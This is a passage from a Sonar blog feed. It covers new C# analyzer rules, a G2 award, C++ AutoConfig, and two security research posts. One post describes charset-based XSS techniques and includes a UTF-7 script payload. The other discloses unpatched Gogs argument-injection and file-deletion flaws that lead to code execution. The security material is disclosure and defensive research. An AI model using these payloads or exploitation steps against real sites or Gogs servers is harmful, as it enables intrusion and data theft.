    await stream.ReadAsync(array, 0, 1024);
    await File.ReadAllLinesAsync("path");
    await dbSet.ToListAsync();
    await dbSet.FirstOrDefaultAsync(x => x.Age >= 18);
}

Another area where the .NET team made progress is resource pooling for HTTP connections. If you develop code that needs to call another Web API, you traditionally use HttpClient. Because making connections with HttpClient is expensive, .NET 8 introduced IHttpClientFactory. In addition to the performance concerns, many other concerns exist when using HttpClient, such as Configuration, Resiliency, and Logging. Rule S6962 detects the usage of HttpClient and recommends using the new IHttpClientFactory instead, helping you take advantage of its benefits.

Metadata coherence and API documentation

Writing a good REST API is no small feat. Once written, it needs to be well documented. Thankfully, we have OpenApi for that and great packages such as Swashbuckle. However, these tools rely on good metadata to do their job.

Developers often make mistakes when adding the required attributes to document your API or forget to add the metadata altogether. The only thing worse than no documentation is misleading documentation.

Rule S6968 detects missing ProducesResponseType attributes when you use the Swagger middleware. This ensures your API is properly documented from day one.

For example, this code:

[HttpGet("foo")]

public IActionResult MagicNumber() => Ok(42);

Will be detected, and you will be prompted to change it to:

[HttpGet("foo")]

[ProducesResponseType(StatusCodes.Status200OK)]

public IActionResult MagicNumber() => Ok(42);

Model and validation

Model binding is a feature of ASP.NET Core that allows parsing the incoming request into complex objects. It makes your code much more readable and secure. However, some old code that does not take advantage of model binding might still be lurking. Rule S6932 detects when your code accesses the request directly instead of relying on model binding.

It will flag code such as:

public IActionResult Post()
{
    var name = Request.Form["name"];                                           // Noncompliant: Request.Form
    var birthdate = DateTime.Parse(Request.Form["Birthdate"]); // Noncompliant: Request.Form
    var origin = Request.Headers[HeaderNames.Origin];              // Noncompliant: Request.Headers
    var locale = Request.Query.TryGetValue("locale", out var locales)
        ? locales.ToString()
        : "en-US";                                                                                // Noncompliant: Request.Query
    // ..
}

You will be prompted to replace it with:

public record User
{
    [Required, StringLength(100)]
    public required string Name { get; init; }
    [DataType(DataType.Date)]
    public DateTime Birthdate { get; init; }
}

public IActionResult Post(User user, [FromHeader] string origin, [FromQuery] string locale = "en-US")
{
    if (ModelState.IsValid)
    {
        // ...
    }
}

A few more steps are needed to take full advantage of model binding. When using ASP.NET MVC, you should always check the property Model.IsValid to ensure the incoming request is parsed correctly and passes any validation you annotated your model with. If you fail to send the property, you could inadvertently send invalid values to the database, leading to:

Performance loss
Unclear error messages

Rule S6967 will detect actions missing the step to check the Model.IsValid property so that you can correct any mistake. Of course, this does not apply to ASP.NET WebAPI controllers (marked with the ApiController attribute) because the middleware does that for you and generates a proper HTTP status code response.

Finally, a good model needs to include proper annotation for validation. You should always make sure all properties reflect their nullability. If you do not, the model will pass validation but contain values you did not expect.

Rule S6964 will catch such errors, flagging code such as:

public class Product
{
    public int Id { get; set; }                         // Noncompliant
    public string Name { get; set; }
    public int NumberOfItems { get; set; }  // Noncompliant
    public decimal Price { get; set; }           // Noncompliant
}

It will prompt you to modify it in any of the following ways:

public class Product
{
    public required int Id { get; set; }
    public string Name { get; set; }
    public int? NumberOfItems { get; set; }            
    [JsonRequired] public decimal Price { get; set; }  
}

What’s Next?

These are just a few of the 12 rules we recently added. You can check out all our rules to see what they offer.

Many of our users have already provided feedback on the rules. Still, we are always eager to hear your thoughts, especially if any of them report incorrect or invalid results. Please share your feedback. It is a gift!

These rules are available in SonarCloud and SonarQube 10.6 today and will soon be available in your SonarLint flavor. You can also simply install our standalone Nuget package to test them easily.

Go write Clean Code!

G2 Review Static Code Analysis | Sonar Named a Leader in Grid Report

Zoe Bell — Tue, 23 Jul 2024 13:00:00 GMT

Summer’s here, and the sun is shining on Sonar. We’re thrilled to announce that G2 has once again ranked Sonar #1 in Static Code Analysis in the Summer 2024 Grid Report.

In addition to leading the pack in each of the Enterprise, Mid-Market, and Small Business segments for Static Code Analysis, Sonar was also named a leader in the Static Application Security Testing (SAST) category.

This recognition is based on multiple parameters, including customer requirements, ease of setup, implementation time, ease of use, and user adoption.

For over 15 years, Sonar has been helping organizations minimize risk, reduce technical debt, and derive more value from their software and we’re so honored to have our customers continually speak for us with this recognition.

G2, the world’s largest and most trusted software marketplace, releases quarterly Grid Reports and ranks products based on customers’ real-world experiences and high customer satisfaction levels.

By mapping the competitive landscape for a category, G2 helps technology buyers understand the marketplace and make informed software purchasing decisions.

Here’s what customers have to say about Sonar:

“A must for high-quality development. SonarQube helps to evaluate our code during the development itself. It provides a great amount of reviews/suggestions to improve our code. It also supports a variety of programming languages and is easy to use.”

Ramakrishna B. System/Software Engineer

"SonarQube is an excellent tool for maintaining code quality and enforcing code quality rules organization-wide."

Rahul Singh. Technical Architect

"It majorly solves our problem by integrating into our DevOps tool chains such as Jenkins, Azure DevOps, GitHub, and GitLab, making it easy to incorporate SonarQube into existing workflows."

Verified SonarQube User in the Sports Industry

“SonarQube became my main platform for consolidating unit test results, code coverage, and static code analysis. SonarQube Dashboard has become my benchmark for software development maturity.

Other static code analyzers can also report errors, but not like SonarQube, it shows very nice examples of compliant and non-compliant code. This has helped me a lot throughout my software development career.”

Murtadha Bazli Tukimat Senior Embedded System Engineer, Starcopter

"Amazing user interface, fast learning curve, faster installation and deployment, good customer support, security scanning features, and code smells."

Nltin Kumar, Enterprise Software

You can read all SonarQube reviews on the SonarQube G2 page.

Check out our interactive demo if you're curious to explore the features that have garnered this recognition.

Or, join the millions of developers using SonarQube to write code that leads to secure, reliable, and maintainable software by requesting a demo to see for yourself!

AutoConfig: C++ Code Analysis Redefined

Abbas Sabra — Wed, 17 Jul 2024 05:00:00 GMT

C++ AutoConfig and SonarQube

Welcome to the future of code analysis with SonarQube 10.6’s AutoConfig, where high-quality, Clean Code is not just an idea. It’s an instant reality for every C and C++ project. AutoConfig eliminates all the usual prerequisites: no specific compiler allegiance, no elaborate setup rituals, and no dependencies on your project’s build environment. Whether you’re working on an embedded project with a specialized, lesser-known compiler or a small, resource-strapped initiative, AutoConfig integrates seamlessly, offering an effortless path to code analysis. It eradicates the complexities of the past, where generating a Compilation Database and ensuring environment compatibility were necessary evils. Now, every developer can immediately start their journey to a cleaner, better code with minimal effort and maximum impact.

From Configuration Chaos to Clarity

Tools requiring an understanding of C and C++ code statically, such as code analysis, refactoring, and IntelliSense, typically ask developers to manually provide detailed configuration information on how their projects are compiled. This crucial setup involves specifying the ‘include’ search directories and macro definitions, which can drastically alter the code semantics by resolving different dependencies and tuning the preprocessor behavior. Each tool has a separate approach, often requiring unique configuration files, leading to a fragmented and labor-intensive setup process.

The advent of the Compilation Database, an innovation by the LLVM project, marked a significant leap forward. It offers a standardized JSON format that describes the compilation commands for each source file, helping unify the configuration process across different tools. However, generating this database is not straightforward and depends heavily on the build system. At Sonar, we designed the Build-Wrapper to simplify generating the Compilation Database by wrapping the build and capturing build commands. Still, it may be incompatible with some projects with restrictive build environments or non-standard toolchains. Alternatively, while CMake can generate a Compilation Database without a prior build, this option remains limited by the necessity for specific CMake generators and compilers. This requirement can render it impractical for many projects unable or unwilling to adapt their toolchain just for code analysis compatibility. Additionally, even with a Compilation Database generated by CMake, the analysis still needs to be performed post-build to account for any generated files and fetched dependencies. This necessity underscores the challenge: while a modern and flexible environment facilitates these requirements, mandating such conditions can be prohibitive. Projects tied to older or less adaptable systems may find this requirement a significant barrier to accessing advanced code analysis tools.

AutoConfig in SonarQube 10.6 changes the game by automating the detection and configuration process. By scanning the project’s code and system libraries, AutoConfig applies heuristics to deduce a valid configuration that effectively compiles and analyzes the code, covering the most extensive codebase without needing manual intervention or specific build environments. For users who wish to fine-tune the analysis configuration, AutoConfig offers the flexibility to tune the computed settings through easy-to-use UI properties, making it a versatile and powerful tool for any C or C++ project.

Bridging Compiler Gaps

The world of C and C++ development is vast, populated by an array of compilers, each with its own set of versions, language extensions, and command-line idiosyncrasies. Traditional code analysis tools struggle to support every possible compiler, especially older or domain-specific ones with private documentation and unique behaviors. This limitation has historically left many projects without access to advanced code analysis capabilities.

AutoConfig introduces a groundbreaking solution to this problem. By modeling compiler behavior in a generic, resilient manner, AutoConfig can parse ambiguous code and handle language extensions effectively. It approaches incomplete code by recognizing what is known and treating the unknown as a black box, minimizing the risk of false positives. This strategy ensures that AutoConfig provides reliable static code analysis even in environments where conventional tools fail. As a result, code analysis becomes accessible and easy for projects using less mainstream compilers, democratizing high-quality software development across all domains.

Breaking Free from Environmental Constraints

Traditional static code analysis tools are often hamstrung by the need for an analysis environment that exactly replicates the build environment. This requirement can inflate costs and complicate the integration within existing CI workflows, especially when the build is distributed across different machines or systems. The typical workaround has been to restructure CI pipelines to accommodate these tools, which often means complexifying and centralizing tasks unnaturally.

With AutoConfig, these barriers are dismantled. AutoConfig leverages advanced techniques to emulate compiler behavior and dependency management without needing access to the original build tools or environments. This capability not only facilitates the use of secure, isolated analysis environments like Docker but also makes parallelizing the build and analysis more attainable. AutoConfig’s ability to adapt to various project needs without restructuring entire CI workflows revolutionizes how static code analysis is deployed, making it a seamless part of the development workflow rather than a disruptive one.

One Step to Clean Code

Prior to Sonar AutoConfig, onboarding a project and setting up effective code analysis required navigating a complex maze of configurations and setups tailored to different build systems, operating systems, and CI providers. SonarQube alone has over 30 C++ onboarding examples, covering variations using the Compilation Database approach. This highlights how overwhelming setting up and configuring C and C++ projects can be. Each example at SonarSource’s CFamily examples demonstrates the extensive manual setup needed.

Contrast this with the revolutionary simplicity of AutoConfig to start analyzing your C or C++ project. You can simply run the SonarScanner CLI without any preconfiguration. The SonarScanner CLI does not require any C++ specific inputs. It operates seamlessly in the background, automatically adapting to your compiler, configuration, and environment. The process is as straightforward as downloading the SonarScanner CLI and executing it on your codebase. SonarQube’s onboarding UI will walk you through a further streamlined process depending on your CI provider. For instance, GitHub users may use a GitHub Action that automates the download and execution of the SonarScanner. Similarly, tailored solutions exist for Bitbucket Pipelines, Azure DevOps, and GitLab, making onboarding virtually effortless across platforms.

Unlocking Clean Code for All

Starting with SonarQube 10.6, C and C++ analysis enters a new era with AutoConfig, designed to make code analysis free of complications and more accessible to every project. AutoConfig automates the complex setup process traditionally associated with static code analysis, allowing you to achieve Clean Code with minimal configuration effort. For those who need to fine-tune the analysis, high-level scanner properties are easily adjustable and detailed in the Customizing the Analysis with AutoConfig guide.

While AutoConfig offers a streamlined approach, users requiring more control can still fall back on the Compilation Database mode. To understand the advantages and disadvantages of both modes, visit Choosing the Right Analysis Mode.

We eagerly anticipate your questions and feedback on AutoConfig. Join the discussion and share your experiences on the Sonar Community Forum.

Ready to give AutoConfig a try? Get started with SonarQube Developer Edition.

Encoding Differentials: Why Charset Matters

Stefan Schiller — Mon, 15 Jul 2024 15:00:00 GMT

Do you notice something in the following HTTP response?

HTTP/1.1 200 OK
Server: Some Server
Content-Type: text/html
Content-Length: 1337



Some Page

...

Based on this small portion of the HTTP response, you can assume that this web application is likely prone to an XSS vulnerability.

How is this possible? Did you notice something?

If you have doubts about the Content-Type header, you are right. There is only a minor imperfection here: the header is missing a charset attribute. This does not sound like a big deal, however, this blog post will explain how attackers can exploit this to inject arbitrary JavaScript code into a website by consciously changing the character set that the browser assumes.

This blog post's content was also presented at the TROOPERS24 conference. A recording of the talk can be found here: From ASCII to UTF-16: Leveraging Encodings to Break Software.

Character Encodings

A common Content-Type header in an HTTP response looks like this:

HTTP/1.1 200 OK
Server: Some Server
Content-Type: text/html; charset=utf-8
...

The charset attribute tells the browser that UTF-8 was used to encode the HTTP response body. A character encoding like UTF-8 defines a mapping between characters and bytes. When a web server serves an HTML document, it maps the characters of the document to the corresponding bytes and transmits these in the HTTP response body. This process turns characters into bytes (encode):

When the browser receives these bytes in the HTTP response body, it can translate them back to the characters of the HTML document. This process turns bytes into characters (decode):

UTF-8 is only one of many character encodings that a modern browser must support according to the HTML spec. There are plenty of others like UTF-16, ISO-8859-xx, windows-125x, GBK, Big5, etc. It is essential that the browser knows which of those encodings the server used or it cannot properly decode the bytes in the HTTP response body.

But what if there is no charset attribute in the Content-Type header or it is invalid?

In that case, the browser looks for a <meta> tag in the HTML document itself. This tag can also have a charset attribute that indicates the character encoding (e.g., <meta charset="UTF-8">). This is already an act of balance for the browser: In order to read the HTML document, it needs to decode the HTTP response body. Thus, it needs to assume some encoding, decode the HTTP body, look for a <meta> tag, and possibly re-decode the body with the indicated character encoding.

Another, less common way to indicate the character encoding is the Byte-Order Mark. This is a specific Unicode character (U+FEFF) that can be placed in front of a string to indicate the byte endianness and character encoding. It is mainly used in files, but since these might be served via a web server, modern browsers support it. A Byte-Order Mark at the beginning of an HTML document even takes precedence over a charset attribute in the Content-Type header and the <meta> tag.

In summary, there are three common ways that a browser uses to determine the character encoding of an HTML document, ordered by priority:

Byte-Order Mark at the beginning of the HTML document
charset attribute in the Content-Type header
<meta> tag in the HTML document

Missing Charset Information

The Byte-Order Mark is generally very uncommon and the charset attribute is not always present in a Content-Type header or might be invalid. Also - especially for partial HTML responses - there is usually no <meta> tag that indicates a character encoding. In these cases, the browser does not have any information about what character set to use:

Have you ever seen this error message? Probably not, because it does not exist.

Similar to faulty HTML syntax, browsers try to recover from missing character set information when parsing the content served from a web server and make the best of it. This non-strict behavior contributes to a good user experience, but it may also open doors for exploitation techniques like mXSS.

For missing character information, browsers try to make an educated guess based on the content, which is called auto-detection. This is similar to MIME-type sniffing but operates on a character encoding level. Chromium’s rendering engine Blink, for example, uses the Compact Encoding Detection (CED) library to automatically detect the character encoding. From an attacker’s point of view, the auto-detection feature is very powerful as we will see.

At this point, we are familiar with the different mechanisms a browser may use to determine the character encoding of an HTML document. But how could attackers exploit this?

Encoding Differentials

The purpose of character encoding is to translate characters into a computer-processable byte sequence. These bytes can be transmitted over a network and decoded back to characters by the receiver. This way, the exact same characters that the sender intended to transmit are restored:

This only works fine, when the sender and receiver agree upon the character encoding they use. If there is a mismatch between the character encoding used for encoding and decoding, the receiver may see different characters:

Such a mismatch between the character encoding used for encoding and decoding is what we refer to as Encoding Differential here.

For a web application, this becomes vital when user-controlled data is sanitized to prevent Cross-Site Scripting (XSS) vulnerabilities. If the character encoding that the browser assumes is different from what the web server intended, this could theoretically break the sanitization and lead to XSS vulnerabilities.

This itself is no big news and even Google was prone to an issue like this back in 2005. Google’s 404 page did not provide charset information, which could be exploited by inserting a UTF-7 XSS payload. In UTF-7, HTML special characters like angle brackets are encoded differently from ASCII which can be leveraged to bypass sanitization:

+ADw-script+AD4-alert(1)+ADw-+AC8-script+AD4-

This greatly demonstrated the dangers of this encoding, which was deprecated in the following years to prevent security issues like this. Nowadays, the HTML spec even explicitly forbids the usage of UTF-7 to prevent XSS vulnerabilities.

Although there are still a lot of other supported character encodings, most of these are not really useful from an attacker’s point of view. All HTML special characters like angle brackets and quotes are ASCII only and since most character encodings are ASCII-compatible, there is no difference for these characters. Even for UTF-16, which is not ASCII-compatible due to its fixed amount of two bytes per character, it is usually not possible to smuggle ASCII characters, because their corresponding byte representation is the same, just with a trailing (little-endian) or leading (big-endian) zero byte.

However, there is a particularly interesting encoding: ISO-2022-JP.

ISO-2022-JP

ISO-2022-JP is a Japanese character encoding defined in RFC 1468. It is one of the official character encodings that user agents must support, as defined by the HTML standard. Particularly interesting about this encoding is that it supports certain escape sequences to switch between different character sets.

For example, if a byte sequence contains the bytes 0x1b, 0x28, 0x42, these bytes are not decoded to a character but instead indicate that all following bytes should be decoded using ASCII. In total, there are four different escape sequences that can be used to switch between the character sets ASCII, JIS X 0201 1976, JIS X 0208 1978 and JIS X 0208 1983:

This feature of ISO-2022-JP not only provides great flexibility but can also break fundamental assumptions. And there is another catch: at the time of writing, Chrome (Blink) and Firefox (Gecko) auto-detect this encoding. A single occurrence of one of these escape sequences is usually enough to convince the auto-detection algorithm that the HTTP response body is encoded with ISO-2022-JP.

The following sections explain two different exploitation techniques that attackers may use when they can make the browser assume an ISO-2022-JP charset. Depending on the capabilities of the attacker, this can for example be achieved by directly controlling the charset attribute in the Content-Type header or by inserting a <meta> tag via an HTML injection vulnerability. If a web server provides an invalid charset attribute or none at all, there are usually no other prerequisites since attackers can easily switch the charset to ISO-2022-JP via auto-detection.

Technique 1: Negating Backslash Escaping

The scenario for this technique is that user-controlled data is placed in a JavaScript string:

Let’s imagine a website that accepts two query parameters called search and lang. The first parameter is reflected in a plaintext context and the second parameter (lang) is inserted into a JavaScript string:

HTML special characters in the search parameter are HTML-encoded, and the lang parameter is properly sanitized by escaping double quotes (") and backslashes (\). Thus, it is not possible to break out of the string context and inject JavaScript code:

The default mode for ISO-2022-JP is ASCII. This means that all bytes of the received HTTP response body are decoded with ASCII and the resulting HTML document looks like what we would expect:

Now, let’s assume an attacker inserts the escape sequence to switch to the JIS X 0201 1976 charset in the search parameter (0x1b, 0x28, 0x4a):

The browser now decodes all bytes following this escape sequence with JIS X 0201 1976:

As we can see, this still results in the same characters as before, since JIS X 0201 1976 is mainly ASCII-compatible. However, if we closely inspect its code table, we can notice that there are two exceptions (highlighted in yellow):

The byte 0x5c is mapped to the yen character (¥) and the byte 0x7e to the overline character (‾). This is different from ASCII, where 0x5c is mapped to the backslash character (\) and 0x7e to the tilde character (~).

This means that when the web server tries to escape a double quote in the lang parameter with a backslash, the browser does not see a backslash anymore, but instead a yen sign:

Accordingly, the inserted double quote actually designates the end of the string and allows an attacker to inject arbitrary JavaScript code:

Although this technique is quite powerful, it is limited to bypassing sanitization in a JavaScript context since a backslash character does not have special meaning in HTML. The next section explains a more advanced technique that can be applied in a pure HTML context.

Technique 2: Breaking HTML Context

The scenario for this second technique is that an attacker can control values in two different HTML contexts. A common use case would be a website that supports markdown. For example, let’s consider the following markdown text:

The resulting HTML code looks like this:

Essential for this technique is that an attacker can control values in two different HTML contexts. In this case, these are:

Attribute context (image description/source)
Plaintext context (text surrounding images)

By default, ISO-2022-JP is in ASCII mode and the browser sees the HTML document as expected:

Now, let’s assume an attacker inserts the escape sequence to switch the charset to JIS X 0208 1978 in the first image description:

This makes the browser decode all bytes following with JIS X 0208 1978. This charset uses a fixed amount of 2 bytes per character and is not ASCII-compatible. This effectively breaks the HTML document:

However, a second escape sequence can be inserted in the plaintext context between both images to switch the charset back to ASCII:

This way, all the following bytes are decoded using ASCII again:

When inspecting the HTML syntax, though, we can notice that something changed. The beginning of the second img tag is now part of the alt attribute value:

The reason for this is that the 4 bytes in between both escape sequences were decoded using JIS X 0208 1978. This also consumed the closing double-quote of the attribute value:

At this point, the src attribute value of the second image is not an attribute value anymore. Thus, an attacker can replace this value with a JavaScript error handler:

This, again, allows an attacker to inject arbitrary JavaScript code.

Summary

In this blog post, we highlighted the importance of providing charset information when serving HTML documents. The absence of charset information can lead to severe XSS vulnerabilities when attackers are able to change the character set that the browser assumes.

We detailed how a browser determines the character set used to decode an HTTP response body and explained two different techniques that attackers may use to inject arbitrary JavaScript code into a website leveraging the ISO-2022-JP character encoding.

Although we consider a missing character set the actual vulnerability, a browser’s auto-detection greatly increases its impact. Because of this, we hope that browsers will disable the auto-detection mechanism according to our suggestion - at least for the ISO-2022-JP character encoding.

Securing Developer Tools: Unpatched Code Vulnerabilities in Gogs (2/2)

Thomas Chauchefoin, Paul Gerste — Tue, 09 Jul 2024 15:00:00 GMT

In last week's blog post, we examined an unfixed vulnerability in Gogs, an open-source solution for self-hosting source code. The flaw is one of four vulnerabilities we discovered and reported to the maintainers. These issues allow attackers to compromise vulnerable instances, enabling them to steal source code, plant code backdoors, wipe all code, and more.

Gogs is a popular open-source project with over 44,000 stars on GitHub and 90 million downloads of its Docker image. We have previously investigated the security of other developer tools, so it was a natural fit to include Gogs in this research series and give its code base a look.

This blog post will first cover the impact of the vulnerabilities we found and reported. We will then discuss the technical details of two of those vulnerabilities. Finally, we will provide recommendations and patches for users to help them protect their Gogs installations.

Impact

We found the following vulnerabilities and reported them to the maintainers of Gogs:

Argument Injection in the built-in SSH server (CVE-2024-39930, CVSS 9.9 Critical)
Deletion of internal files (CVE-2024-39931, CVSS 9.9 Critical)
Argument Injection during changes preview (CVE-2024-39932, CVSS 9.9 Critical)
Argument Injection when tagging new releases (CVE-2024-39933, CVSS 7.7 High)

Unfortunately, the maintainers did not implement fixes and stopped communicating with us at some point after initially accepting our report. All four vulnerabilities are still present in the latest release of Gogs (0.13.0) and the latest commit in the Gogs repository (5bdf91e at the time of writing). To protect yourself, read our recommendation section below.

Attackers can execute arbitrary commands on the Gogs server using the first three vulnerabilities. The commands will run under the same use that Gogs runs as (configured via RUN_USER). This allows them to read all source code on the instance, modify any code, delete all code, or attack internal hosts reachable from the Gogs server. Vulnerability 4 allows attackers to read arbitrary files from the Gogs server. These files include the source code stored on the Gogs instance and configuration secrets, likely allowing the attacker to impersonate other users and gain more privileges.

All four vulnerabilities require an attacker to be authenticated. You can find more details about the exploitability of CVE-2024-39930 in our previous blog post and details on CVE-2024-39931 and CVE-2024-39932 below. A quick Shodan search now lists around open 7500 Gogs instances, about 200 more than last week:

We did not confirm how many of these are exploitable, nor do we have any data on whether or not malicious actors are exploiting these vulnerabilities in the wild.

Technical Details

Last week, we looked at the details of CVE-2024-39930, an argument injection in Gogs' built-in SSH server. That vulnerability has a severe impact (Remote Code Execution), but Gogs' default configuration is not vulnerable. Today, we will dive into the details of CVE-2024-39931 and CVE-2024-39932, two of the remaining vulnerabilities we found and reported. They can be exploited by authenticated attackers in Gogs’ default configuration.

Deletion of Internal Files (CVE-2024-39931)

We will start with CVE-2024-39931, a path traversal vulnerability that allows attackers to delete arbitrary files on the system. The vulnerability fittingly exists in the file deletion feature of the web UI. To delete a file from a repo, a user clicks the delete button and is presented with a confirmation page:

When confirming the deletion, the frontend calls the API handler at /user/repository/_delete/<filepath>:

internal/cmd/web.go:

m.Group("", func() {
  // [...]  
  m.Combo("/_delete/*").Get(repo.DeleteFile).
      Post(bindIgnErr(form.DeleteRepoFile{}), repo.DeleteFilePost)
  // [...]
})

This handler is just a wrapper around Repository.DeleteRepoFile:

internal/route/repo/editor.go:

func DeleteFilePost(c *context.Context, f form.DeleteRepoFile) {
	// [...]
	c.Repo.TreePath = pathutil.Clean(c.Repo.TreePath)
	c.Data["TreePath"] = c.Repo.TreePath
	// [...]
	if err := c.Repo.Repository.DeleteRepoFile(c.User, db.DeleteRepoFileOptions{
		LastCommitID: c.Repo.CommitID,
		OldBranch:    oldBranchName,
		NewBranch:    branchName,
		TreePath:     c.Repo.TreePath,
		Message:      message,
	}); 
  // [...]
}

To effectively remove a file from a project, a temporary repository with a work tree is created from the project's bare repository. The file is removed, tracked in a commit, and pushed to the original bare repository:

internal/database/repo_editor.go:

func (repo *Repository) DeleteRepoFile(doer *User, opts DeleteRepoFileOptions) (err error) {
	// [...]
	localPath := repo.LocalCopyPath()
	if err = os.Remove(path.Join(localPath, opts.TreePath)); err != nil {
		return fmt.Errorf("remove file %q: %v", opts.TreePath, err)
	}
	// [...]
	err = git.CreateCommit(
		localPath,
		&git.Signature{
			Name:  doer.DisplayName(),
			Email: doer.Email,
			When:  time.Now(),
		},
		opts.Message,
	)
	// [...]
}

As we can see, opts.TreePath is not validated and can point to any location inside the repository. To understand how this file deletion can lead to arbitrary code execution, we must understand how Gogs and many other source code hosting solutions store Git data on the server.

Usually, when using Git, you have a folder structure like this:

repo/
├── .git/
│   ├── HEAD
│   ├── config
│   └── …
├── go.mod
├── main.go
└── …

The .git folder contains all the Git-related metadata. The rest of the files (outside the .git folder) are the actual contents of the repo, also called the "working tree". This representation is helpful for working on files directly, but it has some storage overhead: the .git folder contains all the data that exists in the working tree!

But there's a different representation: the "bare repo". It is just the content from within the .git folder but without the working tree:

repo/
├── HEAD
├── config
└── …

This is what Gogs and many others use to store a repo on the server, as it saves disk space and is usually enough for the Git operations the server needs to perform. However, to delete a file from a repo, Gogs creates a local checkout of the bare repo with the standard, non-bare structure. But how does Git know if a repo is bare or not?

The answer is quite simple: Git will look for a .git directory in the current working directory. If it finds one, it will examine its files to see if it contains valid repository metadata. If it doesn't find a .git directory, it checks if the current working directory is a bare repo by examining the included files. If the current working directory is not a bare repo, it starts over in the parent directory of the current working directory, and so on. The following flow chart visualizes this simplified decision process:

One of the metadata files that Git checks is HEAD. This file should contain the name of a valid reference that is the repo's current head. If there is no such file, or if it does not contain a valid reference, then Git assumes the directory to be invalid and moves on.

So what happens when an attacker uses the arbitrary file delete to remove .git/HEAD from the local checkout of a repo? The next time a git command is executed in that repo, the .git folder is no longer considered valid. So, as the next step, Git will check if the root directory of the repo is a valid bare repo.

Since users can fully control the folders and files within a repo, the attacker could prepare it to contain all metadata files that make Git think it's a bare repo. By achieving this, they can now control all the git configurations via the config file in the repo. They can for example use the well-known core.fsmonitor setting to specify a command executed for almost all the Git subcommands.

With this, attackers can execute arbitrary commands using just the file deletion primitive that CVE-2024-39931 gives them. However, this not only works with file deletions but also with file truncations. Let's look at how attackers could also achieve code execution with CVE-2024-39932, an Argument Injection vulnerability in Gogs' preview functionality.

Argument Injection During Changes Preview (CVE-2024-39932)

When changing a file from the web UI, Gogs allows the user to see a preview of the changes. This is implemented in the /_preview/* API handler:

internal/cmd/web.go:

m.Group("", func() {
    // [...]
    m.Post("/_preview/*", bindIgnErr(form.EditPreviewDiff{}), repo.DiffPreviewPost)
    // [...]
    c.Data["PageIsViewFiles"] = true
  })
}, reqSignIn, context.RepoAssignment())

First, DiffPreviewPost gets a reference to the modified file in the Git repository and calls Repository.GetDiffPreview:

internal/route/repo/editor.go:

func DiffPreviewPost(c *context.Context, f form.EditPreviewDiff) {
	treePath := c.Repo.TreePath
	// [...]
	diff, err := c.Repo.Repository.GetDiffPreview(c.Repo.BranchName, treePath, f.Content)
	// [...]
}

After cloning the current repository to a temporary folder and discarding any changes, the new changes are applied to the file pointed by treePath. Then, git diff is called with treePath as an argument to compute the differences:

internal/database/repo_editor.go:

func (repo *Repository) GetDiffPreview(branch, treePath, content string) (diff *gitutil.Diff, err error) {
	// [...]
	localPath := repo.LocalCopyPath()
	// [...]
	cmd := exec.Command("git", "diff", treePath)
	cmd.Dir = localPath
	cmd.Stderr = os.Stderr
	// [...]
}

Because attackers can control the treePath variable, the name of the file being modified, they can add extra arguments to the git diff invocation. Since the goal is to truncate a file, attackers can use the --output=some/file/path option.

By changing the positional argument to an option, the git diff command is missing the positional argument, causing it to error. However, the --output option is processed before bailing out, and the specified file is opened with the O_TRUNC flag, which truncates it to an empty file.

By truncating the .git/HEAD file of the repo, Git will consider the .git folder to be broken and use the repo as a bare repo instead. The attacker can then take the same steps as above to turn the control over this bare repo into code execution.

As we have seen, even vulnerabilities that seem less impactful, like arbitrary file deletions, can be turned into more impactful ones by abusing features and quirks of the tools used around them. This also shows once again that Git is not made to be used on untrusted inputs and that it takes a significant amount of work to secure its use in such scenarios.

Recommendations: How to Protect Yourself

Unfortunately, the maintainers of Gogs stopped responding to our disclosure at some point after initially accepting our report. Therefore, all four of our reported vulnerabilities are unpatched in the latest version of Gogs. To help users protect themselves, we have curated a list of mitigations and additional recommendations.

Immediate Mitigations

Disable the built-in SSH server: To prevent the exploitation of the Argument Injection vulnerability discussed in our previous blog post (CVE-2024-39930), we recommend turning off the built-in SSH server in your app.ini:

[server]
START_SSH_SERVER = false

Alternatively, you can disable SSH entirely if you don't need it (Git operations will still work via HTTP):

[server]
DISABLE_SSH = true

Disable user registration: While this will not prevent existing users from exploiting the vulnerabilities, it will protect you from the mass exploitation of malicious actors that scan the internet for vulnerable instances. To turn off the registration of new user accounts, set the following option in your app.ini:

[auth]
DISABLE_REGISTRATION = true

Patches

Since the Gogs maintainers did not fix the vulnerabilities, we created patches that should fix them. However, we have not extensively tested whether these patches break functionality somewhere, so we are providing them without any guarantees.

Gogs-security-fixes-by-Sonar.patch

How to apply the patches: To use a version of Gogs with the patches applied, you have to build it from the source. You can find their extensive documentation here. In the "Compile Gogs" step, you will have to apply our patches before running the build command like this:

# Clone the repository to the "gogs" subdirectory
git clone --depth 1 https://github.com/gogs/gogs.git gogs

# Change working directory
cd gogs

# Apply the patches
git apply Gogs-security-fixes-by-Sonar.patch

# Compile the main program, dependencies will be downloaded at this step
go build -o gogs

Our patches are compatible with the latest version of Gogs available at the time of writing this blog post, which is at commit 5bdf91e73c7733d92e80f6ea9e3fbba60490c9cf (corresponding to version 0.13.0).

How the patches work: Our patches remove the SSH env handler because, due to a functional bug, it had no effect anyway. For the two additional Argument Injections, we add end-of-options arguments to separate the user-controlled arguments from the options. For the file delete vulnerability, we add code that verifies the user-controlled path before removing a file.

Further Recommendations

Switch to Gitea: We recommend switching from Gogs to Gitea, which started as a fork of Gogs. It is more actively maintained, and the vulnerabilities we found in Gogs were not present in Gitea when we checked.

Detecting Attacks

We don't have any data on whether or not malicious actors are exploiting these vulnerabilities in the wild. If you want to check if you have been attacked, we curated a list of indicators. These are non-exhaustive and provided on a best-effort basis.

CVE-2024-39930 (Argument Injection in the built-in SSH server): The exploitation of this vulnerability is more challenging to detect on the network level because the attacker payload is sent inside an encrypted SSH connection. On the OS level, you can check for invocations of the env command with an argument that starts with either --split-string or -S (the short form option).

CVE-2024-39932 (Argument Injection during changes preview): On the network level, the exploitation of this vulnerability will involve an HTTP request whose path starts with /<user>/<repo>/_preview/<branch>/-- where <user>, <repo>, and <branch> depend on the repository used for the attack.

We did not find reliable ways to detect attacks for the remaining two vulnerabilities because attackers can easily obfuscate their exploit attempts through multiple indirections.

Timeline

Date	Action
2023-04-20	We report all issues via email to the Gogs maintainers, including steps to reproduce, fix recommendations, and a 90-day disclosure deadline.
2023-04-28	We ping the maintainers again to see if our report was received.
2023-04-28	The Gogs maintainers confirm the acceptance of our report.
2023-05-16	We ask the Gogs maintainers for updates.
2023-05-18	The Gogs maintainers reply that there are no updates yet.
2023-08-15	We inform the Gogs maintainers that the 90-day disclosure deadline has expired.
2023-10-02	We ask the Gogs maintainers to open GitHub advisories so we can help contribute patches.
2023-12-04	We ask the Gogs maintainers for updates.
2023-12-05	The Gogs maintainers respond they will look into the report.
